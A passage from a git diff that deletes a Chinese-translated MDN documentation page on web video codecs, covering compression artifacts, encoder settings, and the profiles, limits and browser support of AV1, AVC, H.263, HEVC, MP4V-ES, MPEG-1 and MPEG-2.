The documentation for your codec choices will probably offer information you'll use when constructing your codecs parameter.

+ +

See also

+ + diff --git "a/files/zh-cn/web/media/formats/\350\247\206\351\242\221\347\274\226\350\247\243\347\240\201\345\231\250/index.html" "b/files/zh-cn/web/media/formats/\350\247\206\351\242\221\347\274\226\350\247\243\347\240\201\345\231\250/index.html" deleted file mode 100644 index d299975762..0000000000 --- "a/files/zh-cn/web/media/formats/\350\247\206\351\242\221\347\274\226\350\247\243\347\240\201\345\231\250/index.html" +++ /dev/null @@ -1,1673 +0,0 @@ ---- -title: 网络视频编解码器指南 -slug: Web/Media/Formats/视频编解码器 -translation_of: Web/Media/Formats/Video_codecs ---- -
{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}
- -

未经压缩的视频的数据量太大了,我们有必要进行很多压缩处理来存储视频,就更不用说通过网络传输视频的时候了。想象一下我们需要多少数据来存储未经压缩的视频:

- -
    -
  • 全色彩的高清视频(1920x1080)每一帧为 8,294,400 字节。
  • -
  • 按照典型的每秒30帧的传播速度,高清视频每秒钟会占用 248,832,000 字节(约 249 MB)。
  • -
  • 一分钟的高清视频将需要 1.39GB 的存储空间。
  • -
  • 一个相当典型的30分钟视频会议将需要约 47.1GB 的存储空间,而2小时的电影则需要将近 166GB 的存储空间。
  • -
- -

不仅仅是需要的存储空间很大的问题,以 249MB 每秒的速度传输这样的未压缩的视频所需要的网络带宽也很大(不包括音频和开销)。这就是为什么我们需要视频编解码器。就像音频编解码器对声音数据所做的处理一样,视频编解码器会压缩视频数据并将其编码为一种格式,以后我们可以对其进行解码,播放或者编辑。

- -

大多数的视频编解码器是有损的(解码后的视频与原来的视频不完全匹配)。一些细节可能会丢失,丢失的数量取决于编解码器和它的配置方式。通常来说,压缩程度越高,细节丢失的越多,视频失真更严重。虽然现在也有一些无损编解码器,但是通常都是用于存档和存储在本地来进行本地回放的,而不是在网络上使用。

- -

本指南介绍了一些你可能遇到或者考虑去使用的网络视频编解码器的功能以及一些兼容性和实用性问题。并且帮助您为项目视频选择正确的编解码器提供一些建议。

- -

通用编解码器

- -

以下视频编解码器是网上最常用的视频编解码器。每个编解码器都列出了它们可以支持的文件类型。每个编解码器都提供了一个指向下文相关部分详细内容的快捷链接,包含一些您可能需要了解的特定功能和兼容性问题。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
编解码器名称 (简称)编解码器全称支持文件类型
AV1AOMedia Video 1MP4, WebM
AVC (H.264)Advanced Video Coding3GP, MP4, WebM
H.263H.263 Video3GP
HEVC (H.265)High Efficiency Video CodingMP4
{{anch("MP4V-ES")}}MPEG-4 Video Elemental Stream3GP, MP4
{{anch("MPEG-1")}}MPEG-1 Part 2 VisualMPEG, QuickTime
{{anch("MPEG-2")}}MPEG-2 Part 2 VisualMP4, MPEG, QuickTime
TheoraTheoraOgg
VP8Video Processor 83GP, Ogg, WebM
VP9Video Processor 9MP4, Ogg, WebM
- -

影响编码视频的因素

- -

和任何编码器一样,有两个会影响到编码视频大小和质量的因素:源视频的格式和内容,以及在对视频进行编码时候使用的编解码器的特性和配置。

- -

最简单的原则是:如果要让编码视频看起来更像原始的未压缩过的视频,那么通常得到的视频会更大。因此我们始终要在尺寸和质量之间进行权衡。在某些情况下,我们会为了降低数据大小而接受质量的损失。但是其他时候,我们不能接受质量损失,所以我们必须接受会导致文件相应增大的编码器配置。

- -

源视频格式对编码输出的影响

- -

源视频格式影响编码输出的程度取决于编解码器及其工作方式。如果编解码器将视频媒体转换为内部像素的格式,或者使用使用简单像素以外的方法表示图像,那么原始图像的格式对编码输出没有什么影响。但是,诸如帧频和分辨率之类始终会对媒体视频的输出大小产生影响。

- -

Additionally, all codecs have their strengths and weaknesses. Some have trouble with specific kinds of shapes and patterns, or aren't good at replicating sharp edges, or tend to lose detail in dark areas, or any number of possibilities. It all depends on the underlying algorithms and mathematics.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
The potential effect of source video format and contents on the encoded video quality and size
Feature对质量的影响对尺寸的影响
Color depth (bit depth)颜色位深越高,视频中颜色保真度质量就越高。除此之外,在图像饱和部分(颜色纯而强烈的,例如明亮纯红色[rgba(255,0,0,1)),低于每分量10色深(10bits色彩)允许条带化,其中,如果没有可见色阶跃就无法表示渐变。Depending on the codec, higher color depths may result in larger compressed file sizes. The determining factor is what internal storage format is used for the compressed data.
Frame ratePrimarily affects the perceived smoothness of the motion in the image. To a point, the higher the frame rate, the smoother and more realistic the motion will appear. Eventually the point of diminishing returns is reached. See {{anch("Frame rate")}} below for details.Assuming the frame rate is not reduced during encoding, higher frame rates cause larger compressed video sizes.
MotionCompression of video typically works by comparing frames, finding where they differ, and constructing records containing enough information to update the previous frame to approximate the appearance of the following frame. The more successive frames differ from one another, the larger these differences are, and the less effective the compression is at avoiding the introduction of artifacts into the compressed video.The complexity introduced by motion results in larger intermediate frames due to the higher number of differences between frames). For this and other reasons, the more motion there is in a video, the larger the output file will typically be.
NoisePicture noise (such as film grain effects, dust, or other grittiness to the image) introduces variability. Variability generally makes compression more difficult, resulting in more lost quality due to the need to drop details to achieve the same level of compression.The more variability—such as noise—there is in the image, the more complex the compression process and the less success the algorithm is likely to have compressing the image to the same degree. Unless you configure the encoder in a way that ignores some or all of the variations caused by noise, the compressed video will be larger.
Resolution (width and height)Higher resolution video, presented in the same screen size, will typically be able to more accurately portray the original scene, barring effects introduced during compression.The higher the resolution of a video, the larger it gets. This plays a key role in the final size of the video.
- -

The degree to which these affect the resulting encoded video will vary depending on the precise details of the situation, including which encoder you use and how it's configured. In addition to general codec options, the encoder could be configured to reduce the frame rate, to clean up noise, and/or to reduce the overall resolution of the video during encoding.

- -

Effect of codec configuration on encoded output

- -

The algorithms used do encode video typically use one or more of a number of general techniques to perform their encoding. Generally speaking, any configuration option that is intended to reduce the output size of the video will probably have a negative impact on the overall quality of the video, or will introduce certain types of artifacts into the video. It's also possible to select a lossless form of encoding, which will result in a much larger encoded file but with perfect reproduction of the original video upon decoding.

- -

In addition, each encoder utility may have variations in how they process the source video, resulting in differences in the output quality and/or size.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Video encoder configuration effects on quality and size
FeatureEffect on qualityEffect on size
Lossless compressionNo loss of qualityLossless compression cannot reduce the overall video size nearly as much as lossy compression; the resulting files are likely to still be too large for general usage.
Lossy compressionTo some degree, artifacts and other forms of quality degradation wil occur, depending on the specific codec and how much compression is being appliedThe more the encoded video is allowed to deviate from the source, the easier it is to accomplish higher compression rates
Quality settingThe higher the quality configuration, the more like the original media the encoded video will lookIn general, higher quality settings will result in larger encoded video files; the degree to which this is true varies depending on the codec
Bit rateQuality generally improves with higher bit ratesHigher bit rates inherently lead to larger output files
- -

The options available when encoding video, and the values to be assigned to those options, will vary not only from one codec to another but depending on the encoding software you use. The documentation included with your encoding software will help you to understand the specific impact of these options on the encoded video.

- -

Compression artifacts

- -

Artifacts are side effects of a lossy encoding process in which the lost or rearranged data results in visibly negative effects. Once an artifact has appeared, it may linger for a while, because of how video is displayed. Each frame of video is presented by applying a set of changes to the currently-visible frame. This means that any errors or artifacts will compound over time, resulting in glitches or otherwise strange or unexpected deviations in the image that linger for a time.

- -

To resolve this, and to improve seek time through the video data, periodic key frames (also known as intra-frames or i-frames) are placed into the video file. The key frames are full frames, which are used to repair any damage or artifact residue that's currently visible.

- -

Aliasing

- -

Aliasing is a general term for anything that upon being reconstructed from the encoded data does not look the same as it did before compression. There are many forms of aliasing; the most common ones you may see include:

- - - - - - - - - - - - - - - - -
-

Moiré patterns

- -

A {{interwiki("Moiré pattern")}} is a large-scale spatial interference pattern produced when a pattern in the source image and the manner in which the encoder operates are slightly out of alignment spatially. The artifacts generated by the encoder then introduce strange, swirling effects in the source image's pattern upon decoding.

-
-

Staircase effect

- -

The staircase effect is a spatial artifact that occurs when diagonal straight or curved edges that should be smooth take on a jagged appearance, looking somewhat like a set of stair steps. This is the effect that is being reduced by "anti-aliasing" filters.

-
-

Wagon-wheel effect

- -

The wagon-wheel effect (or {{interwiki("wikipedia", "stroboscopic effect")}}) is the visual effect that's commonly seen in film, in which a turning wheel appears to rotate at the wrong speed, or even in reverse, due to an interaction between the frame rate and the compression algorithm. The same effect can occur with any repeating pattern that moves, such as the ties on a railway line, posts along the side of a road, and so forth. This is a temporal (time-based) aliasing issue; the speed of the rotation interferes with the frequency of the sampling performed during compression or encoding.

-
- -

Color edging

- -

Color edging is a type of visual artifact that presents as spurious colors introduced along the edges of colored objects within the scene. These colors have no intentional color relationship to the contents of the frame.

- -

 Loss of sharpness

- -

The act of removing data in the process of encoding video requires that some details be lost. If enough compression is applied, parts or potentially all of the image could lose sharpness, resulting in a slightly fuzzy or hazy appearance.

- -

Lost sharpness can make text in the image difficult to read, as text—especially small text—is very detail-oriented content, where minor alterations can significantly impact legibility.

- -

Ringing

- -

Lossy compression algorithms can introduce {{interwiki("wikipedia", "ringing artifacts", "ringing")}}, an effect where areas outside an object are contaminated with colored pixels generated by the compression algorithm. This happens when an algorithm that uses blocks that span across a sharp boundary between an object and its background. This is particularly common at higher compression levels.

- -

Example of the ringing effect

- -

Note the blue and pink fringes around the edges of the star above (as well as the stepping and other significant compression artifacts). Those fringes are the ringing effect. Ringing is similar in some respects to {{anch("Mosquito noise", "mosquito noise")}}, except that while the ringing effect is more or less steady and unchanging, mosquito noise shimmers and moves.

- -

RInging is another type of artifact that can make it particularly difficult to read text contained in your images.

- -

Posterizing

- -

Posterization occurs when the compression results in the loss of color detail in gradients. Instead of smooth transitions through the various colors in a region, the image becomes blocky, with blobs of color that approximate the original appearance of the image.

- -

- -

Note the blockiness of the colors in the plumage of the bald eagle in the photo above (and the snowy owl in the background). The details of the feathers is largely lost due to these posterization artifacts.

- -

Contouring

- -

Contouring or color banding is a specific form of posterization in which the color blocks form bands or stripes in the image. This occurs when the video is encoded with too coarse a quantization configuration. As a result, the video's contents show a "layered" look, where instead of smooth gradients and transitions, the transitions from color to color are abrupt, causing strips of color to appear.

- -

Example of an image whose compression has introduced contouring

- -

In the example image above, note how the sky has bands of different shades of blue, instead of being a consistent gradient as the sky color changes toward the horizon. This is the contouring effect.

- -

Mosquito noise

- -

Mosquito noise is a temporal artifact which presents as noise or edge busyness that appears as a flickering haziness or shimmering that roughly follows outside the edges of objects with hard edges or sharp transitions between foreground objects and the background. The effect can be similar in appearance to {{anch("Ringing", "ringing")}}.

- -

- -

The photo above shows mosquito noise in a number of places, including in the sky surrounding the bridge. In the upper-right corner, an inset shows a close-up of a portion of the image that exhibits mosquito noise.

- -

Mosquito noise artifacts are most commonly found in MPEG video, but can occur whenever a discrete cosine transform (DCT) algorithm is used; this includes, for example, JPEG still images.

- -

Motion compensation block boundary artifacts

- -

Compression of video generally works by comparing two frames and recording the differences between them, one frame after another, until the end of the video. This technique works well when the camera is fixed in place, or the objects in the frame are relatively stationary, but if there is a great deal of motion in the frame, the number of differences between frames can be so great that compression doesn't do any good.

- -

{{interwiki("wikipedia", "Motion compensation")}} is a technique that looks for motion (either of the camera or of objects in the frame of view) and determines how many pixels the moving object has moved in each direction. Then that shift is stored, along with a description of the pixels that have moved that can't be described just by that shift. In essence, the encoder finds the moving objects, then builds an internal frame of sorts that looks like the original but with all the objects translated to their new locations. In theory, this approximates the new frame's appearance. Then, to finish the job, the remaining differences are found, then the set of object shifts and the set of pixel differences are stored in the data representing the new frame. This object that describes the shift and the pixel differences is called a residual frame.

- - - - - - - - - - - - - - - - - - - - - - - - -
Original frameInter-frame differencesDifference after motion compensation
Original frame of videoDifferences between the frames after shifting two pixels right
The first full frame as seen by the viewer.Here, only the differences between the first frame and the following frame are seen. Everything else is black. Looking closely, we can see that the majority of these differences come from a horizontal camera move, making this a good candidate for motion compensation.To minimize the number of pixels that are different, here we take into account the panning of the camera by first shifting the first frame to the right by two pixels, then by taking the difference. This compensates for the panning of the camera, allowing for more overlap between the two frames.
Images from Wikipedia
- -

There are two general types of motion compensation: global motion compensation and block motion compensation. Global motion compensation generally adjusts for camera movements such as tracking, dolly movements, panning, tilting, rolling, and up and down movements. Block motion compensation handles localized changes, looking for smaller sections of the image that can be encoded using motion compensation. These blocks are normally of a fixed size, in a grid, but there are forms of motion compensation that allow for variable block sizes, and even for blocks to overlap.

- -

There are, however, artifacts that can occur due to motion compensation. These occur along block borders, in the form of sharp edges that produce false ringing and other edge effects. These are due to the mathematics involved in the coding of the residual frames, and can be easily noticed before being repaired by the next key frame.

- -

Reduced frame size

- -

In certain situations, it may be useful to reduce the video's dimensions in order to improve the final size of the video file. While the immediate loss of size or smoothness of playback may be a negative factor, careful decision-making can result in a good end result. If a 1080p video is reduced to 720p prior to encoding, the resulting video can be much smaller while having much higher visual quality; even after scaling back up during playback, the result may be better than encoding the original video at full size and accepting the quality hit needed to meet your size requirements.

- -

Reduced frame rate

- -

Similarly, you can remove frames from the video entirely and decrease the frame rate to compensate. This has two benefits: it makes the overall video smaller, and that smaller size allows motion compensation to accomplish even more for you. For exmaple, instead of computing motion differences for two frames that are two pixels apart due to inter-frame motion, skipping every other frame could lead to computing a difference that comes out to four pixels of movement. This lets the overall movement of the camera be represented by fewer residual frames.

- -

The absolute minimum frame rate that a video can be before its contents are no longer perceived as motion by the human eye is about 12 frames per second. Less than that, and the video becomes a series of still images. Motion picture film is typically 24 frames per second, while standard definition television is about 30 frames per second (slightly less, but close enough) and high definition television is between 24 and 60 frames per second. Anything from 24 FPS upward will generally be seen as satisfactorily smooth; 30 or 60 FPS is an ideal target, depending on your needs.

- -

In the end, the decisions about what sacrifices you're able to make are entirely up to you and/or your design team.

- -

Codec details

- -

AV1

- -

The AOMedia Video 1 (AV1) codec is an open format designed by the Alliance for Open Media specifically for internet video. It achieves higher data compression rates than {{anch("VP9")}} and {{anch("HEVC", "H.265/HEVC")}}, and as much as 50% higher rates than AVC. AV1 is fully royalty-free and is designed for use by both the {{HTMLElement("video")}} element and by WebRTC.

- -

AV1 currently offers three profiles: main, high, and professional with increasing support for color depths and chroma subsampling. In addition, a series of levels are specified, each defining limits on a range of attributes of the video. These attributes include frame dimensions, image area in pixels, display and decode rates, average and maximum bit rates, and limits on the number of tiles and tile columns used in the encoding/decoding process.

- -

For example, level AV1 level 2.0 offers a maximum frame width of 2048 pixels and a maximum height of 1152 pixels, but its maximum frame size in pixels is 147,456, so you can't actually have a 2048x1152 video at level 2.0. It's worth noting, however, that at least for Firefox and Chrome, the levels are actually ignored at this time when performing software decoding, and the decoder just does the best it can to play the video given the settings provided. For compatibility's sake going forward, however, you should stay within the limits of the level you choose.

- -

The primary drawback to AV1 at this time is that it is very new, and support is still in the process of being integrated into most browsers. Additionally, encoders and decoders are still being optimized for performance, and hardware encoders and decoders are still mostly in development rather than production. For this reason, encoding a video into AV1 format takes a very long time, since all the work is done in software.

- -

For the time being, because of these factors, AV1 is not yet ready to be your first choice of video codec, but you should watch for it to be ready to use in the future.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesVaries depending on the video's level; theoretical maximum reaches 800 Mbps at level 6.3[2]
Supported frame ratesVaries by level; for example, level 2.0 has a maximum of 30 FPS while level 6.3 can reach 120 FPS
CompressionLossy DCT-based algorithm
Supported frame sizes8 x 8 pixels to 65,535 x 65535 pixels with each dimension allowed to take any value between these
Supported color modes - - - - - - - - - - - - - - - - - - - - - - - - - -
ProfileColor depthsChroma subsampling
Main8 or 104:0:0 (greyscale) or 4:2:0
High8 or 104:0:0 (greyscale), 4:2:0, or 4:4:4
Professional8, 10, or 124:0:0 (greyscale), 4:2:0, 4:2:2, or 4:4:4
-
HDR supportYes
Variable Frame Rate (VFR) supportYes
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
AV1 support707567No57No
-
Container supportISOBMFF[1], MPEG-TS, MP4, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes
Supporting/Maintaining organizationAlliance for Open Media
Specificationhttps://aomediacodec.github.io/av1-spec/av1-spec.pdf
LicensingRoyalty-free, open standard
- -

[1] {{interwiki("wikipedia", "ISO Base Media File Format")}}

- -

[2] See the AV1 specification's tables of levels, which describe the maximum resolutions and rates at each level.

- -

AVC (H.264)

- -

The MPEG-4 specification suite's Advanced Video Coding (AVC) standard is specified by the identical ITU H.264 specification and the MPEG-4 Part 10 specification. It's a motion compensation based codec that is widely used today for all sorts of media, including broadcast television, {{Glossary("RTP")}} videoconferencing, and as the video codec for Blu-Ray discs.

- -

AVC is highly flexible, with a number of profiles with varying capabilities; for example, the Constrained Baseline Profile is designed for use in videoconferencing and mobile scenarios, using less bandwidth than the Main Profile (which is used for standard definition digital TV in some regions) or the High Profile (used for Blu-Ray Disc video). Most of the profiles use 8-bit color components and 4:2:0 chroma subsampling; The High 10 Profile adds support for 10-bit color, and advanced forms of High 10 add 4:2:2 and 4:4:4 chroma subsampling.

- -

AVC also has special features such as support for multiple views of the same scene (Multiview Video Coding), which allows, among other things, the production of stereoscopic video.

- -

AVC is a proprietary format, however, and numerous patents are owned by multiple parties regarding its technologies. Commercial use of AVC media requires a license, though the MPEG LA patent pool does not require license fees for streaming internet video in AVC format as long as the video is free for end users.

- -

Non-web browser implementations of WebRTC (any implementation which doesn't include the JavaScript APIs) are required to support AVC as a codec in WebRTC calls. While web browsers are not required to do so, some do.

- -

In HTML content for web browsers, AVC is broadly compatible and many platforms support hardware encoding and decoding of AVC media. However, be aware of its licensing requirements before choosing to use AVC in your project!

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesVaries by level
Supported frame ratesVaries by level; up to 300 FPS is possible
CompressionLossy DCT-based algorithm, though it's possible to create lossless macroblocks within the image
Supported frame sizesUp to 8,192 x 4,320 pixels
Supported color modes -

Some of the more common or interesting profiles:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ProfileColor depthsChroma subsampling
Constrained Baseline (CBP)84:2:0
Baseline (BP)84:2:0
Extended (XP)84:2:0
Main (MP)84:2:0
High (HiP)84:0:0 (greyscale) and 4:2:0
Progressive High (ProHiP)84:0:0 (greyscale) and 4:2:0
High 10 (Hi10P)8 to 104:0:0 (greyscale) and 4:2:0
High 4:2:2 (Hi422P)8 to 104:0:0 (greyscale), 4:2:0, and 4:2:2
High 4:4:4 Predictive8 to 144:0:0 (greyscale), 4:2:0, 4:2:2, and 4:4:4
-
HDR supportYes; {{interwiki("wikipedia", "Hybrid Log-Gamma")}} or Advanced HDR/SL-HDR; both are part of ATSC
Variable Frame Rate (VFR) supportYes
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
AVC/H.265 support41235[1]9253.2
-
Container support3GP, MP4, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes
Supporting/Maintaining organizationMPEG / ITU
Specificationhttps://mpeg.chiariglione.org/standards/mpeg-4/advanced-video-coding
- https://www.itu.int/rec/T-REC-H.264
LicensingProprietary with numerous patents. Commercial use requires a license. Note that multiple patent pools may apply.
- -

[1] Firefox support for AVC is dependent upon the operating system's built-in or preinstalled codecs for AVC and its container in order to avoid patent concerns.

- -

H.263

- -

ITU's H.263 codec was designed primarily for use in low-bandwidth situations. In particular, its focus is for video conferencing on PSTN (Public Switched Telephone Networks), {{Glossary("RTSP")}}, and SIP (IP-based videoconferencing) systems. Despite being optimized for low-bandwidth networks, it is fairly CPU intensive and may not perform adequately on lower-end computers. The data format is similar to that of MPEG-4 Part 2.

- -

H.263 has never been widely used on the web. Variations on H.263 have been used as the basis for other proprietary formats, such as Flash video or the Sorenson codec. However, no major browser has ever included H.263 support by default. Certain media plugins have enabled support for H.263 media.

- -

Unlike most codecs, H.263 defines fundamentals of an encoded video in terms of the maximum bit rate per frame (picture), or BPPmaxKb. During encoding, a value is selected for BPPmaxKb, and then the video cannot exceed this value for each frame. The final bit rate will depend on this, the frame rate, the compression, and the chosen resolution and block format.

- -

H.263 has been superseded by H.264 and is therefore considered a legacy media format which you generally should avoid using if you can. The only real reason to use H.263 in new projects is if you require support on very old devices on which H.263 is your best choice.

- -

H.263 is a proprietary format, with patents held by a number of organizations and companies, including Telenor, Fujitsu, Motorola, Samsung, Hitachi, Polycom, Qualcomm, and so on. To use H.263, you are legally obligated to obtain the appropriate licenses.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesUnrestricted, but typically below 64 Kbps
Supported frame ratesAny
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 1408 x 1152 pixels[2]
Supported color modesYCbCr; each picture format (sub-QCIF, QCIF, CIF, 4CIF, or 16CIF)  defines the frame size in pixels as well as how many rows each of luminance and chrominance samples are used for each frame
HDR supportNo
Variable Frame Rate (VFR) supportNo
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
H.263 supportNoNoNo[1]NoNoNo
-
Container support3GP, MP4, QuickTime
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationITU
Specificationhttps://www.itu.int/rec/T-REC-H.263/
LicensingProprietary; appropriate license or licenses are required. Note that multiple patent pools may apply.
- -

[1] While Firefox does not generally support H.263, the OpenMax platform implementation (used for the Boot to Gecko project upon which Firefox OS was based) did support H.263 in 3GP files.

- -

[2] Version 1 of H.263 specifies a set of picture sizes which are supported. Later versions may support additional resolutions.

- -

HEVC (H.265)

- -

The High Efficiency Video Coding (HVEC) codec is defined by ITU's H.265 as well as by MPEG-H Part 2 (the still in-development follow-up to MPEG-4). HEVC was designed to support efficient encoding and decoding of video in sizes including very high resolutions (including 8K video), with a structure specifically designed to let software take advantage of modern processors. Theoretically, HEVC can achieve compressed file sizes half that of {{anch("AVC")}} but with comparable image quality.

- -

For example, each coding tree unit (CTU)—similar to the macroblock used in previous codecs—consists of a tree of luma values for each sample as well as a tree of chroma values for each chroma sample used in the same coding tree unit, as well as any required syntax elements. This structure supports easy processing by multiple cores.

- -

An interesting feature of HEVC is that the main profile supports only 8 bit per component color with 4:2:0 chroma subsampling. Also interesting is that 4:4:4 video is handled specially. Instead of having the luma samples (representing the image's pixels in grayscale) and the Cb and Cr samples (indicating how to alter the grays to create color pixels), the three channels are instead treated as three monochrome images, one for each color, which are then combined during rendering to produce a full-color image.

- -

HEVC is a proprietary format and is covered by a number of patents.  Licensing is managed by MPEG LA; fees are charged to developers rather than to content producers and distributors. Be sure to review the latest license terms and requirements before making a decision on whether or not to use HEVC in your app or web site!

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesUp to 800,000 Kbps
Supported frame ratesVaries by level; up to 300 FPS is possible
CompressionLossy DCT-based algorithm
Supported frame sizes128 x 96 to 8,192 x 4,320 pixels; varies by profile and level
Supported color modes -

Information below is provided for the major profiles. There are a number of other profiles available that are not included here.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ProfileColor depthsChroma subsampling
Main84:2:0
Main 108 to 104:2:0
Main 128 to 124:0:0 and 4:2:0
Main 4:2:2 108 to 104:0:0, 4:2:0, and 4:2:2
Main 4:2:2 128 to 124:0:0, 4:2:0, and 4:2:2
Main 4:4:484:0:0, 4:2:0, 4:2:2, and 4:4:4
Main 4:4:4 108 to 104:0:0, 4:2:0, 4:2:2, and 4:4:4
Main 4:4:4 128 to 124:0:0, 4:2:0, 4:2:2, and 4:4:4
Main 4:4:4 16 Intra8 to 164:0:0, 4:2:0, 4:2:2, and 4:4:4
-
HDR supportYes
Variable Frame Rate (VFR) supportYes
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
HEVC / H.265 supportNo18[1]No[2]11[1]No11
-
Container supportMP4
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationITU / MPEG
Specificationshttp://www.itu.int/rec/T-REC-H.265
- https://www.iso.org/standard/69668.html
LicensingProprietary; confirm your compliance with the licensing requirements. Note that multiple patent pools may apply.
- -

[1] Internet Explorer and Edge only supports HEVC on devices with a hardware codec.

- -

[2] Mozilla will not support HEVC while it is encumbered by patents.

- -

MP4V-ES

- -

The MPEG-4 Video Elemental Stream (MP4V-ES) format is part of the MPEG-4 Part 2 Visual standard. While in general, MPEG-4 part 2 video is not used by anyone because of its lack of compelling value related to other codecs, MP4V-ES does have some usage on mobile. MP4V is essentially H.263 encoding in an MPEG-4 container.

- -

Its primary purpose is to be used to stream MPEG-4 audio and video over an {{Glossary("RTP")}} session. However, MP4V-ES is also used to transmit MPEG-4 audio and video over a mobile connection using 3GP.

- -

You almost certainly don't want to use this format, since it isn't supported in a meaningful way by any major browsers, and is quite obsolete. Files of this type should have the extension .mp4v, but sometimes are inaccurately labeled .mp4.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit rates5 Kbps to 1 Gbps and more
Supported frame ratesNo specific limit; restricted only by the data rate
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 4,096 x 4,096 pixels
Supported color modesYCrCb with chroma subsampling (4:2:0, 4:2:2, and 4:4:4) supported; up to 12 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportYes
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
MP4V-ES supportNo[2]NoYes[1]NoNoNo
-
Container support3GP, MP4
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationMPEG
Specification{{RFC(6416)}}
LicensingProprietary; obtain a license through MPEG LA and/or AT&T as needed
- -

[1] Firefox supports MP4V-ES in 3GP containers only.

- -

[2] Chrome does not support MP4V-ES; however, Chrome OS does.

- -

MPEG-1 Part 2 Video

- -

MPEG-1 Part 2 Video was unveiled at the beginning of the 1990s. Unlike the later MPEG video standards, MPEG-1 was created solely by MPEG, without the {{Glossary("ITU", "ITU's")}} involvement.

- -

Because any MPEG-2 decoder can also play MPEG-1 video, it's compatible with a wide variety of software and hardware devices. There are no active patents remaining in relation to MPEG-1 video, so it may be used free of any licensing concerns. However, few web browsers support MPEG-1 video without the support of a plugin, and with plugin use deprecated in web browsers, these are generally no longer available. This makes MPEG-1 a poor choice for use in web sites and web applications.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesUp to 1.5 Mbps
Supported frame rates23.976 FPS, 24 FPS, 25 FPS, 29.97 FPS, 30 FPS, 50 FPS, 59.94 FPS, and 60 FPS
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 4,095 x 4,095 pixels
Supported color modesY'CbCr with 4:2:0 chroma subsampling with up to 12 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportNo
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
MPEG-1 supportNoNoNoNoNoYes
-
Container supportMPEG
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationMPEG
Specificationhttps://www.iso.org/standard/22411.html
LicensingProprietary; however, all patents have expired, so MPEG-1 may be used freely
- -

MPEG-2 Part 2 Video

- -

MPEG-2 Part 2 is the video format defined by the MPEG-2 specification, and is also occasionally referred to by its {{Glossary("ITU")}} designation, H.262. It is very similar to MPEG-1 video—in fact, any MPEG-2 player can automatically handle MPEG-1 without any special work—except it has been expanded to support higher bit rates and enhanced encoding techniques.

- -

The goal was to allow MPEG-2 to compress standard definition television, so interlaced video is also supported. The standard definition compression rate and the quality of the resulting video met needs well enough that MPEG-2 is the primary video codec used for DVD video media.

- -

MPEG-2 has several profiles available with different capabilities. Each profile is then available four levels, each of which increases attributes of the video, such as frame rate, resolution, bit rate, and so forth. Most profiles use Y'CbCr with 4:2:0 chroma subsampling, but more advanced profiles support 4:2:2 as well. In addition, there are four levels, each of which offers  support for larger frame dimensions and bit rates. For example, the {{interwiki("wikipedia", "ATSC standards", "ATSC")}} specification for television used in North America supports MPEG-2 video in high definition using the Main Profile at High Level, allowing 4:2:0 video at both 1920 x 1080 (30 FPS) and 1280 x 720 (60 FPS), at a maximum bit rate of 80 Mbps.

- -

However, few web browsers support MPEG-2 without the support of a plugin, and with plugin use deprecated in web browsers, these are generally no longer available. This makes MPEG-2 a poor choice for use in web sites and web applications.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesUp to 100 Mbps; varies by level and profile
Supported frame rates - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Abbr.Level nameFrame rates supported
LLLow Level23.9, 24, 25, 29.97, 30
MLMain Level23.976, 24, 25, 29.97, 30
H-14High 144023.976, 24, 26, 29.97, 30, 50, 59.94, 60
HLHigh Level23.976, 24, 26, 29.97, 30, 50, 59.94, 60
-
CompressionLossy DCT-based algorithm
Supported frame sizes - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Abbr.Level nameMaximum frame size
LLLow Level352 x 288 pixels
MLMain Level720 x 576 pixels
H-14High 14401440 x 1152 pixels
HLHigh Level1920 x 1152 pixels
-
Supported color modesY'CbCr with 4:2:0 chroma subsampling in most profiles; the "High" and "4:2:2" profiles support 4:2:2 chroma subsampling as well.
HDR supportNo
Variable Frame Rate (VFR) supportNo
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
